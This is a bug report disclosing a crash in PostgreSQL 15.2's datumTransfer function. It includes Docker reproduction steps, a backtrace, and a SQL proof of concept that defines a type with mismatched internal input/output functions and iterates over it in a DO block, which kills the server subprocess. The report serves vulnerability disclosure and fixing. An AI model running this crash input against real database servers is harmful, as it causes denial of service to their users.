Description: PostgreSQL Server Subprocess Went down at function ‘datumTransfer’
PostgreSQL Server Version: PostgreSQL 15.2 on x86_64-pc-linux-gnu, compiled by Ubuntu clang version 12.0.1, 64-bit
Discoverer: Jingzhou Fu, Jie Liang and Zhiyong Wu in WingTecher Lab of Tsinghua University and Shuimuyulin ltd
Email address: fjz22@mails.tsinghua.edu.cn , wuzy21@mails.tsinghua.edu.cn , ljiee@mail.tsinghua.edu.cn
Way to Reproduce with Docker (write the poc content into file PoC.sql):
```bash
docker container rm some-postgres -f
docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=mysecretpassword -d postgres:15.2
sleep 5 # wait the server start …
docker exec -i some-postgres psql --user=postgres < PoC.sql
# Output:
# server closed the connection unexpectedly
# This probably means the server terminated abnormally
# before or while processing the request.
# connection to server was lost
```
PoC:
```sql
CREATE TYPE foo;
CREATE FUNCTION bar(foo)
RETURNS cstring
AS 'int4out'
LANGUAGE internal STRICT IMMUTABLE;
CREATE FUNCTION box_tbl(cstring) RETURNS foo AS 'boolin'
LANGUAGE internal IMMUTABLE STRICT;
CREATE TYPE foo(INPUT = box_tbl, OUTPUT = bar);
do $$
declare r foo;
begin
for r in values (1,2),(3,4),(6,5) loop
raise notice 'r = %', r;
end loop;
end$$;
```
Backtrace:
```
#0 0x1831798 (datumTransfer+0x68)
#1 0x7f09381c4e5e (exec_assign_value+0x84e)
#2 0x7f09381eb04c (exec_move_row_from_fields+0x13ac)
#3 0x7f09381bd03c (exec_move_row+0x7fc)
#4 0x7f09381df6bd (exec_for_query+0x92d)
#5 0x7f09381d124b (exec_stmt_fors+0x15b)
#6 0x7f09381c6fa0 (exec_stmts+0x910)
#7 0x7f09381c41d2 (exec_stmt_block+0x1de2)
#8 0x7f09381bd574 (exec_toplevel_block+0x234)
#9 0x7f09381b7023 (plpgsql_exec_function+0x11f3)
#10 0x7f093821b3dd (plpgsql_inline_handler+0x83d)
#11 0x1cc01da (FunctionCall1Coll+0x3ca)
#12 0x1cc4e45 (OidFunctionCall1Coll+0x105)
#13 0xcb357d (ExecuteDoStmt+0xecd)
#14 0x16fb7b0 (standard_ProcessUtility+0x1190)
#15 0x16fa617 (ProcessUtility+0xa7)
#16 0x16f9667 (PortalRunUtility+0x2a7)
#17 0x16f7606 (PortalRunMulti+0xa96)
#18 0x16f559b (PortalRun+0x9cb)
#19 0x16e9694 (exec_simple_query+0xe04)
#20 0x16e7a63 (PostgresMain+0x1523)
#21 0x144c17b (BackendRun+0xbb)
#22 0x144ad85 (BackendStartup+0x525)
#23 0x14481e6 (ServerLoop+0x616)
#24 0x1443e0f (PostmasterMain+0x30cf)
#25 0x106ebf2 (main+0x5a2)
#26 0x7f094417a083 (__libc_start_main+0xf3)
#27 0x49fc0e (_start+0x2e)```